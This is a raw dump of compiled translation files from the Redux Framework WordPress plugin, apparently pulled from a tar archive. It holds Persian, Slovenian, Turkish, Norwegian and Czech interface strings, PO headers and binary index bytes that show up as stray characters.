نمی تواند خالی باشد لطفا یک مقدار پر کنید.مقدار رنگ باید در این فیلد گذاشته شود.این فیلد باید دارای یک تاریخ معتبر باشد.عنوانبهبالاشفافنشانیواحدبارگذارینام کاربرینام کاربرینسخهنسخه %sمشاهده %1$sنمایش خانه‌ی افزونهمشاهده شدهاخطار ، تنظیمات این بخش بدون جاوااسکریپت به درستی کار نمیکنند .به فریم ورک ردوکس خوش آمدیدبه چهارچوب ریداکس خوش آمدید %sبه پنل Redux نسخه ی نمایشی خوش آمدیدتازگی چه خبر؟پهنافاصله کلماتکار ...شما مجوز کافی برای دسترسی به‌این برگه را ندارید.شما تغییرات ذخیره نشده ای دارید. آیا می خواهید آنها را ذخیره کنید؟شما تغییرات ذخیره نشده ای دارید. آیا می خواهید آنها را ذخیره کنید؟شما نباید کدهای HTML را در این فیلد وارد کنید، همه تگ های HTML حذف شده اند.شما نباید کاراکترهای ویژه را در این فیلد وارد کنید . همه ی کاراکتر های ویژه پاک شدند.شما باید یک لیست که مقادیر عددی با کاما جدا شده باشند را برای این گزینه فراهم کنید .شما باید یک مقدار عددی برای این گزینه فراهم کنید.شما باید یک آدرس معتبر برای این گزینه فراهم کنید.شما باید یک ایمیل معتبر برای این گزینه فراهم کنید .کلیک کردنکمک کردن مالیهیچ موردی در این باره پیدا نشد.دارای مجوز خواندن / نوشتن مناسب و یا اطلاعات FTP خود را در زیر وارد کنید.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkحرکت موس براسناد و مدارک مااخطار(هایی) پیدا شده اند!lib/redux-framework/languages/redux-framework-sl_SI.mo000064400000010704147206624460017105 0ustar00JlePQdktx4 .HNS[px      #*:INRU]l u%      % 0 6 : > B H O X c k ;q E       B 5EUj{?  %3 :GP Yg n{      !=M Vbr '0)8Cb&G";!1< @7>6H$%JDC03I')(B*9=A:8 4 F-#.E+  5,?2 /Activate Demo ModeActiveAdd MoreAllAllow trackingAre you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBackground SizeBottomChangelogClick here to activate the sample config file.CloseCopyCreditsDeactivate Demo ModeDefaultDeleteDescriptionDisableDismissDocumentationDownloadEmail addressEnableExpandExport OptionsFont FamilyFont colorFont familyFrom Getting StartedHeightHintsImportImport / ExportImport OptionsLeftOffOnOptionsOptions ObjectPasswordPlease WaitRedux FrameworkRedux Framework has an embedded demo.Redux GeneratorRemoveRepoReset AllReset SectionRightSave ChangesSettings Saved!SizeStyleSystem InfoText AlignTitleTo TopURLUnitsUploadUsernameVersion %sVisitedWidthYou do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?donationerror(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Slovenian (Slovenia) (http://www.transifex.com/projects/p/redux-framework/language/sl_SI/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: sl_SI Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || n%100==4 ? 2 : 3); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Vklopite demo načinAktivirajDodaj večVseDovoli sledenjeAli ste prepričani? Z resetom boste izgubili vse custom vrednostiPriponka ozadjaPoložaj ozadjaPonavljajoče ozadjeDimenzije ozadjaDnoDnevnik spremembKliknite tukaj za aktivacijo poskusne konfiguracijske datoteke.ZapriKopirajZaslugeIzklopite demo načinPrivzetoIzbrišiOpisOnemogočiOpustiDokumentacijaPrenosEmail naslovOmogočiRazširiOpcije izvozaPisavaBarva pisaveDružina pisaveOdUvodVišinaNasvetiUvoziUvoz / IzvozOpcije uvozaLevoIzklopljenoVklopljenoOpcijeObjekt opcijGesloProsim počakajteRedux FrameworkRedux Framework ima vgrajen demo.Redux generatorOdstraniRepositorijResetirajte vseResetiraj sekcijoDesnoShrani spremembeNastavitve shranjeneVelikostSlogSistemske informacijePoravnava tekstaNaslovZaZgorajURLEnoteNaložiUporabniško imeRazličica %sObiskanoŠirinaNimate dovoljenja za dostop do te strani.Imate spremembe, ki še niso shranjene. Jih želite shraniti sedaj?donacijaerror(jev) najdenih!lib/redux-framework/languages/redux-framework-tr_TR.mo000064400000037166147206624460017141 0ustar00 5 DA4 (:J ]jq y .    '1lH    $ / ; E R_ w     ZU5]X0   2 ! ,>BEM \ } DUe%W  ! +9 ?Lgv,(   ( 0 < GRbq'.M3S' yJPT Xdh(n U;F g   ;F>EKb Lz 3 - /)!aY!`!"%"."C"JX"",","#-#?#\V#&&&&& ' '"'%)'O'Nb'Z'K ("X( {(((((((() ))-)J<)))))() )* * **4****** + ++ <+G+W+h+y++%+++++,', 0, :,E, U,*`,, --j-W. Z.h....}.L/////03"0V0f0n0$v0000 00/0 11$1512.2(>2+g22|2#3,34393M3a3f3&}3333%30 4;4A4I4_4e4j4 s4}44!44444(o5(551505))6S6667777/7K7 R7^7n7 v77"77X78F9 X9y9!99 9 99 9.:>7:Hv:P:T;Ve;E;9<D<<V<V< /=<=E=X=Kj==,=3=1>N>a>1% Q,W i?69mPS_5f='\xNI#oVuEr$*egJ^|Z3&Fzk~ATXDp7qY>LnHd4;MhK("RB2c/<)t Olj}C+aG:v.8] [0b{`-!wysU@Activate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryClick here to activate the sample config file.CloseCopy DataCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingDownload Data FileEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from FileImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.Learn MoreLeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP VersionPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat is Redux Framework?What's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-15 14:12+0000 Last-Translator: Samet Köseoğlu Language-Team: Turkish (Turkey) (http://www.transifex.com/projects/p/redux-framework/language/tr_TR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: tr_TR Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Demo Modunu EtkinleştirGeliştirme Eklentilerini EtkinleştirEtkin%s EkleBaşka EkleGaleri Ekle/DüzenleTümüVarsayılanların Hepsi Restore Oldu!İzlemeye izin verEmin misiniz? Sıfırlama özelleştirilmiş tüm değerleri kaybettirecektir.Emin misiniz? Sıfırlama bu kısımdaki tüm özelleştirilmiş değerleri kaybettirecek.Emin misiniz? Sıfırlama tüm özelleştirilmiş değerleri kaybettirecek.Otomatik eylem gerçekleşti: "%s"Arkaplan EkiArkaplan ŞablonuArkaplan OrijiniArkaplan KonumuArkaplan TekrarıArkaplan BoyutuYedek Yazıtipi AilesiKenarlık tarzıAltTarayıcıDeğişiklik GünlüğüGaleri TemizleÖrnek yapılandırma dosyasını etkinleştirmek için buraya tıklayın.KapatVeriyi KopyalaKatkı sağlayanlarDemo Modunu EtkisizleştirGeliştirme Eklentilerini EtkisizleştirVarsayılanSilAçıklamaGeliştiriciGeliştirici Modu EtkinRedux'ın özelliklerini harika şekilde artıran eklentilerimizin olduğunu biliyor muydunuz? Dahasını öğrenmek için %1$sEtkisizleştirGizleİzlemeye izin vermeVeri Dosyasını İndirinEmail adresinizEtkinleştirGenişletSeçenekleri Dışarı AktarEklentilerYazıtipi RengiYazıtipi AilesiYazıtipi BoyutuYazıtipi Alt KümeleriYazıtipi VaryantıYazıtipi Kalınlığı & TarzıYazıtipi rengiYazıtipi ailesiYazıtipi skriptiYazıtipi tarzıYazıtipi alt kümeleriŞundan:Ön SayfaBaşlarkenGoogle WebfontsYükseklikPanelimizi geliştirmek için yardım edinGeçerli seçenek ayarlarınızı buradan kopyalayabilirsiniz/indirebilirsiniz. Herhangi yanlışlıkta yedek olarak kullanabileceğiniz gibi bu sitedeki (ya da başka sitedeki) ayarlarınızı restore amaçlı kullanabilmeniz için güvende tutunuz.TavsiyelerHoverÖyleyse, lütfen %1$s ve Redux'ın geliştirme sürecini ileri taşımak için %2$s yapmayı düşünün.Redux hakkında hiçbir şey kaçırmak istemiyorsanız lütfen bültenimize abone olunİçeri Aktarİçeri Aktar / Dışarı Aktarİçeri Aktarma SeçenekleriDosyadan içe aktarURL'den içeri aktarBirbaşka sitenin seçenek setine giden URL'yi giriniz ve o sitenin seçeneklerini yüklemek için İçeri Aktar'a basınız.Aşağıya yedek dosyanızın yolunu giriniz ve sitenizin seçeneklerini yedekten restore etmek için İçeri Aktar'a basınız.Daha fazla bilgi alınSolHarf AralığıRedux'ı sevdiniz mi?Satır Yüksekliği"plugins_loaded" eyleminden sonra çağırılmalı.Bağlantı ismiYeni %sBültenBu tipte hiçbir eleman bulunamadı.Medya seçili değilKapalıAçıkSeçeneklerSeçenekler NesnesiSeçenek paneli %1$s kullanılarak oluşturulduPHP SürümüŞifreLütfen BekleyinLütfen yapılandırmaları, eklentileri ve temaları test etmek ve bunların framework'ümüz ile uyumluluğunu sağlamak için anonim kullanım istatistikleri toplamamıza izin vererek panelimizi geliştirmemize yardımcı olun.Redux EklentileriRedux FrameworkRedux Framework Değişiklik GünlüğüRedux Framework gömülü bir demoya sahip.Redux JeneratörüRedux WordPress tema ve eklentileri için basit, gerçek genişletilebilir bir yapılandırma seçenekleri framework'üdür.SıradanKaldırRepoTümünü SıfırlaKısımı SıfırlaSağDeğişiklikleri SaklaKısım Varsayılanları Restore Oldu!Bir eleman seçAyarlar İçeri Aktarıldı!Ayarlar Saklandı!Ayarlar değişti, saklamalısınız!Nesneyi Javascript Konsol Nesnesi olarak gösterBoyutSürgüStandart YazıtipleriDurumTarzAbone olAltsetlerDestekSistem BilgisiTeam Redux (çeviri: mapazarbasi)Metin HizalamaMetin DekorasyonuMetin DönüşümüAşağıdaki klasör ve dosyalar halen Redux klasörünüzde bulunuyor. Bu tema kontrolünde soruna neden olabilir.Redux Framework 'ü geliştiren insanlarBilinmeyen eylem "%s" ile değiştirildiTemaBu alan boş olamaz. Lütfen bir değer belirtin.Bu alan geçerli bir renk değeri olmak zorunda.Bu alan geçerli bir tarih olmak zorunda.Bu panel Redux'ın birçok özelliğini uygulamalı gösterir. Derinlere inmeden önce, %1$s 'i gözden geçirerek hızınızı artırmanızı tavsiye ederiz.BaşlıkŞuna:ÜstSaydamURLBirimler%2$s için belirlenmiş bilinmeyen eylem "%1$s"YükleKullanıcıKullanıcıadıSürümSürüm %s%sEklenti ana sayfasını ziyaret etZiyaretlenmişUYARI! Bu tüm varolan seçenek değerlerinin üzerine yazacak, lütfen dikkatli olunuz!Üstünlük sağlamak ister misiniz? %1$s eklentisini kullanın. Özelleştirilmiş bir kalıp tema oluşturabilir veya a standalone admin folder complete with all things Redux (Underscores ve TGM yardımıyla). Şimdi deneyin ve başağrısından kurtulun.Uyarı: Bu seçenek paneli javascript olmaksızın doğru çalışmaz!Redux Framework 'e hoş geldinizRedux Framework %s HoşgeldinizRedux Demo Paneli'ne HoşgeldinizRedux Framework Nedir?Yeni Ne Var?GenişlikKelime Aralığıİşliyor...Bu sayfaya erişmek için yeterli izniniz yok.Saklanmamış değişiklikleriniz var. Saklamak ister misiniz?Saklanmamış değişiklikleriniz mevcut. Şimdi saklamak ister misiniz?Bu alana herhangi HTML etiketi giremezsiniz, tüm HTML etiketleri kaldırıldı.Bu alana herhangi özel karakter giremezsiniz, tüm özel karakterler kaldırıldı.Bu seçenek için virgülle ayrılmış nümerik değer listesi girmek zorundasınız.Bu seçenek için geçerli bir nümerik değer girmek zorundasınız.Bu seçenek için geçerli bir URL girmek zorundasınız.Bu seçenek için geçerli bir e-posta adresi girmek zorundasınız.Geçerli seçimleriniz bu önsetteki değerlerle değiştirilecek. Onaylıyor musunuz?Geçerli seçimleriniz bu önsetteki değerlerle değiştirilecek. Onaylıyor musunuz?tıklanıyorbağışhata(lar) bulundu!eklentiler diziniuygun okuma/yazma izinleri edinin ya da aşağıya FTP bilgilerinizi girin.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkWordPress.org'a değerli görüşlerinizi bırakınmouse üzerinde gezdiriliyordokümantasyonumuzuyarı(lar) bulundu!lib/redux-framework/languages/redux-framework-nb_NO.mo000064400000036247147206624460017101 0ustar00   15L5[D4 ,BRdx   .+JR Y eol '.5 D O [ e r     ZUDK[j]zX16 E Q2] !  #/%6WF   ,*(W    '.Et3z' yqw{ ( U bFG   ;FLEKb% L 3 - !/7!ag!`!*"3"<"Q"Jf"",","%#;#M#td#&&' ' '%'<''A'i'9y'9'9'!'(I(Z(i(}(((( (( ( (0(#) ()2)G)c)l) r)~))l) *** 2*?*G*M* e* r*~** ** * * * **+++(+/+M+!,&,,[,_!-----v-~:.. .. .5.!/&/ ,/&7/^/p/s/ w//,//// 000%00L 1X1_1e1j1{1111111+2#02 T2_2d2s2z22 22 22 22s2)Q3{3,%4R4:W4*4&44k5r5u5 z555+555 55 5556d6~6FW77 77 7 8 8 8?'89g898R8X.9R9692:<D:q:q:e;l;u;;^;;,<-<<j<y<<TVx? %1pAa(bDW=-24l6U*M `].$\r3#/ {o wC:et@'| [z!BmRuSdkIF; "Q^qhG0XP,c7&L5<JgZOjfE}ynv+>_NYH~i8sK9)Activate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Getting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.HoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSystem InfoTeam ReduxText AlignText DecorationText TransformThe following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Norwegian Bokmål (Norway) (http://www.transifex.com/projects/p/redux-framework/language/nb_NO/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: nb_NO Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktiver demo-modusAktiver utviklingstilleggAktivLegg til %sLegg til merLegg til/Fjern galleriAlleAlle standardinnstillinger tilbakesatt!Tillatt sporingEr du sikker? Nullstilling vil fjerne alle innstillinger.Er du sikker? Nullstilling vil fjerne alle innstillinger.Er du sikker? Nullstilling vil fjerne alle innstillinger.Automatisk handling utført: "%s"BakgrunnsvedleggBakgrunnsklippBakgrunnsplasseringBakgrunnsjusteringGjenta bakgrunnBakgrunnsstørrelseBackup skriftfamilieRammestilBunnEndringsloggRens galleriKlikk her for å aktivere prøvekonfigurasjonen.LukkKreditterDeaktiver demo-modusDeaktiver utviklingstilleggStandardFjernBeskrivelseUtviklerUtviklingsmodus påskrudd.Viste du at vi har tillegg, som kan kraftig forebedre mulighetene ved Redux? Se vårt %1$s for å lære mer!DeaktiverLukkIkke tillat sporingEpostadresseAktiverUtvidEksporter innstillingerSkriftsfargeFontfamilieSkriftstørrelseSkriftundersettFontvariantSkriftvekt og -stilSkriftsfargeSkriftfamilieFontskriptSkriftstilSkriftundersettFraLa oss sette i gangGoogle WebfontsHøydeHjelp å forbedre vårt panelHer kan du ta kopi eller laste ned dine nåværende innstilling. Hold dette sikkert, siden du kan bruke den som en sikkerhetskopi om noe skulle gå galt, eller om du vil sette tilbake siden (eller en annen side)HintHint er verktøytips som kommer opp når du %d hint-ikonet, som gir deg opplysninger om feltet. De kan bli %d klikket på, ved å bruke linken nedenfor.SveveHvis så, vennligst %1$s og vurder å gi oss en %2$s for å fortsette utviklingen av Redux.Hvis du vil følge med på hva som skjer rundt Redux, vennligst meld deg på nyhetsbrevet vårtImporterImport / EksportImporter innstillingerImporter fra URLLegg inn URL-en til en annen sides innstillinger, og trykk på «Importer» for å laste innstillingene fra den siden.Velg din sikkerhetskopi-fil nedenfor, og trykk på «Importer» for å gjennopprette dine innstillinger fra en sikkerhetskopi.VenstreBokstavdelingLiker du Redux?LinjehøydeMå være kalt inn etter "plugins_loaded"-handlingen.NavnNy %sNyhetsbrevIngen elementer av denne typen funnet.Ingen medie valgtAvPåInnstillingerInnstillingsobjektInnstillingspanel opprettet ved bruk av %1$sPassordVennligst ventVennglist hjelp oss å forebedre vårt panel ved å la oss anonymt hente ned brukstatstikk, slik at vi vet hvilke konfigurasjoner, utvidelser og temaer å teste for å sikre kompatiblitet.Redux TilleggRedux RammeverkRedux Rammeverks endringsloggRedux Rammeverk har en innebygd demo.Redux GeneratorRedux er et enkelt, utvidbart rammeverk for Wordpress temaer og -utvidelser.NormalFjernDepoTilbakestill altTilbakestill seksjonHøyreLagre endringerSeksjonsstandard tilbakestilt!Velg et elementInnstillinger importert!Innstillinger lagretInnstillingene er endret, du bør lagre de!Vis objekter i Javascript-konsollenStørrelseSkyvStandardskriftStatusStilAbonnerUndersettSysteminformasjonTeam ReduxTekstjusteringTekstdekorTekst-transformeringDe følgende mapper og filer er fremdeles i din Redux mappe. De vil forårsake feil i teamsjekken.Menneskene som utvikler Redux RammeverketTemaet du tester har %s innbygd. Vi vil gjerne invitere deg til å lese %Theme-Check-Documentation%s slik at du forstår noe av advarselene som du vil se, grunnet Redux.Den ukjent handlingen ble erstattet med "%s"TemaDette feltet kan ikke være tomt, vennligst angi en verdi.Dette feltet må være en gylid fargeveri.Dette feltet må være en gyldig dato.Dette panelet demonstrerer de mange mulighetene som finnes med Redux. Før du setter i gang, foreslår vi at du setter deg inn i %1$s.TittelTiToppGjennomsiktigURLEnheterUkjent handling "%1$s" spesifisert for %2%sLast oppBrukerBrukernavnVersjonVersjon %sSe %sGå til utvidelsens nettsideBesøktADVARSEL! Dette vil overskrive samtlige av de nåværende innstillingene. Fortsett med forsiktighet.Vil du komme i gang kjapt? Bruk %1$s. Denne vil opprette et skreddersydd tema, eller en administrasjons-mappe komplett med alt Redux trenger (med hjelp av Underscores og TGM). Spar deg for hodebryet - og prøv i dag!Advarsel - Dette innstillingspanelet vil ikke fungere uten Javascript!Velkommen til Redux Rammeverk.Velkommen til Redux Rammeverk %sVelkommen til Redux demo-panel!Hva er nyttBreddeOrddelingArbeider…Du har ikke nok rettigheter til å få tilgang til denne siden.Du har endringer som ikke er lagret. Vil du lagre de nå?Du har endringer som ikke er lagret. Vil du lagre de nå?Du må ikke skrive inn noe HTML i dette feltet, alle HTML-knagger vil bli fjernet.Du må ikke skrive inn noe spesialtegn i dette feltet, alle spesialtegn vil bli fjernet.Du må angi en komma-separert liste med numeriske verdier for denne innstillingen.Du må angi en numerisk verdi for denne innstillingen.Du må angi en gyldig URL for denne innstillingen.Du må angi en gyldig e-postadresse for denne innstillingen.Dine nåværende innstillinger vil bli erstattet med verdier fra disse forhåndsinnstillingene. Vil du fortsette?Dine nåværende innstillinger vil bli erstattet med verdier fra disse forhåndsinnstillingene. Vil du fortsette?klikkedonasjonfeil ble funnet!tilleggskatalogden har de nødvendige skrive- og leserettigheter, eller skriv inn FTP-opplysningene nedenfor.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworklegg igjen en omtale om oss på Wordpress.orgtar musen overvår dokumentasjon.advarsel(-er) ble funnet!lib/redux-framework/languages/redux-framework-cs_CZ.mo000064400000036713147206624460017105 0ustar00<  )07@QUl5{D4 +Lbr   .(.6Kjr y l# 9GNU d o {       6 ZUdk{]XQV e q2} !  : CO%0VWf   ':,J(w    "'.m3' y 3(!&/ 7BJ`UhF# CN T a;lFEK5 b L 31!-e!/!a!`%"""""J" #,'#,T#####L'a'{' ' '''''A'E)(Ao("(((( ) )2)B)Y)k)q))A)) ))* *(*/* 5*@*]* ***+ + $+ 0+ >+ K+W+g+y++ + + + +++ ++, ,), -&--R-e4. ....e.gF/////-/0 0)0%>0 d000 0 0+0000111$2)2X:22 2 22222233-30B3-s3333 33 3 333 44"414D4&45"5@5CI505*5x5b6i6l6 s66?66-66 7 7!7 '7 17=7 U7db77I88949 Q9_9h9 z9@9L9F:>Z:_:O:2I;2|;!;Y;Y+< <<<<W<=,/=1\====TVy? %1pAa(bDW=-24l6U*M `].$\r3#/ |o xC:teu@'} [{!BmRvSdkIF; "Q^qhG0XP,c7&L5<JgZOjfE~znw+>_NYHi8sK9)Activate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Getting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.HoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework 